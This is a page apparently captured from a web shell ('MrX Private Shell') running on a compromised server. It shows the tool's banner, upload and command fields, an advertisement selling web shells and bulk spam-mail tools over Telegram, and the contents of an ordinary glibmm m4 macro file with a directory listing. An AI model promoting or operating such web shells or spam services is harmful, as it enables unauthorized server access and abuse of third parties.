__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
dnl
dnl Macros for keeping track of how to initialize a C++ from a C type.

#
#  Define a hashing for names
#
define(`__HASH',`__`'m4_translit(`$*',`ABCDEFGHIJKLMNOPQRSTUVWXYZ<>[]&*, ',`abcdefghijklmnopqrstuvwxyzVBNMRSC_')`'')
define(`__EQUIV',`m4_ifdef(EV`'__HASH(`$1'),EV`'__HASH(`$1'),`$1')')

dnl __HASH2(firsttype, secondtype)
dnl
dnl Provides a textual combination of the two given types which can be used as
dnl a hash to store and retrieve conversions and initializations.  It first
dnl sees if the two types have equivalent types that should be used in their
dnl places (using the __EQUIV macro above).  Since the types returned by
dnl __EQUIV may contain commas (because of types such as std::map<>), quote the
dnl call to the macro to avoid the types to be interpreted as more than one
dnl argument to the pushdef() calls.  Also quote the expansion of the __E1 and
dnl __E2 macros in the m4_ifelse for the same reason.
define(`__HASH2',`dnl
pushdef(`__E1',`__EQUIV(`$1')')pushdef(`__E2',`__EQUIV(`$2')')dnl
m4_ifelse(_QUOTE(__E1),_QUOTE(__E2),`__EQ',__HASH(__E1)`'__HASH(__E2))`'dnl
popdef(`__E1')popdef(`__E2')`'')

define(`IN__EQ',`$3')

#  _INITIALIZE(target_type, fromtype, output_param_name, c_return, wrap_line)
#
#    Print an initialize statement from ctype to cpptype
define(`_INITIALIZE',`dnl
m4_ifelse(`$1',void,`$4',`dnl
pushdef(`__INI',`IN`'__HASH2(`$1',`$2')')dnl
m4_ifdef(__INI,`m4_indir(__INI,m4_substr(`$1',`0',m4_decr(m4_len(`$1'))),`$2',`$3', $4)',`
m4_errprint(`No initialization for type $1 from type $2 defined (line: $5, output param: $3, c return: $4)
')
m4_m4exit(1)
')`'dnl
')`'dnl
')

# _INITIALIZATION(fromtype, totype, initialization)
#
#  Functions for populating initialization tables.
#
define(`_INITIALIZATION',`
m4_ifelse(`$3',,,`define(IN`'__HASH2(`$1',`$2'),m4_patsubst(`$3',`; +',`;
  '))')
')


include(initialize_glib.m4)

Filemanager

Name Type Size Permission Actions
base.m4 File 12.93 KB 0644
class_boxedtype.m4 File 5.55 KB 0644
class_boxedtype_static.m4 File 4.45 KB 0644
class_generic.m4 File 792 B 0644
class_gobject.m4 File 7.76 KB 0644
class_interface.m4 File 7.57 KB 0644
class_opaque_copyable.m4 File 5.09 KB 0644
class_opaque_refcounted.m4 File 6.44 KB 0644
class_shared.m4 File 11.24 KB 0644
compare.m4 File 2.99 KB 0644
convert.m4 File 175 B 0644
convert_base.m4 File 3.05 KB 0644
convert_gio.m4 File 15.98 KB 0644
convert_glib.m4 File 7 KB 0644
convert_glibmm.m4 File 85 B 0644
ctor.m4 File 1.97 KB 0644
doc.m4 File 21 B 0644
enum.m4 File 3.92 KB 0644
gerror.m4 File 2.45 KB 0644
initialize.m4 File 175 B 0644
initialize_base.m4 File 1.83 KB 0644
initialize_gio.m4 File 165 B 0644
initialize_glib.m4 File 480 B 0644
initialize_glibmm.m4 File 94 B 0644
member.m4 File 4.39 KB 0644
method.m4 File 6.98 KB 0644
property.m4 File 1.07 KB 0644
signal.m4 File 9.6 KB 0644
vfunc.m4 File 6.87 KB 0644
Filemanager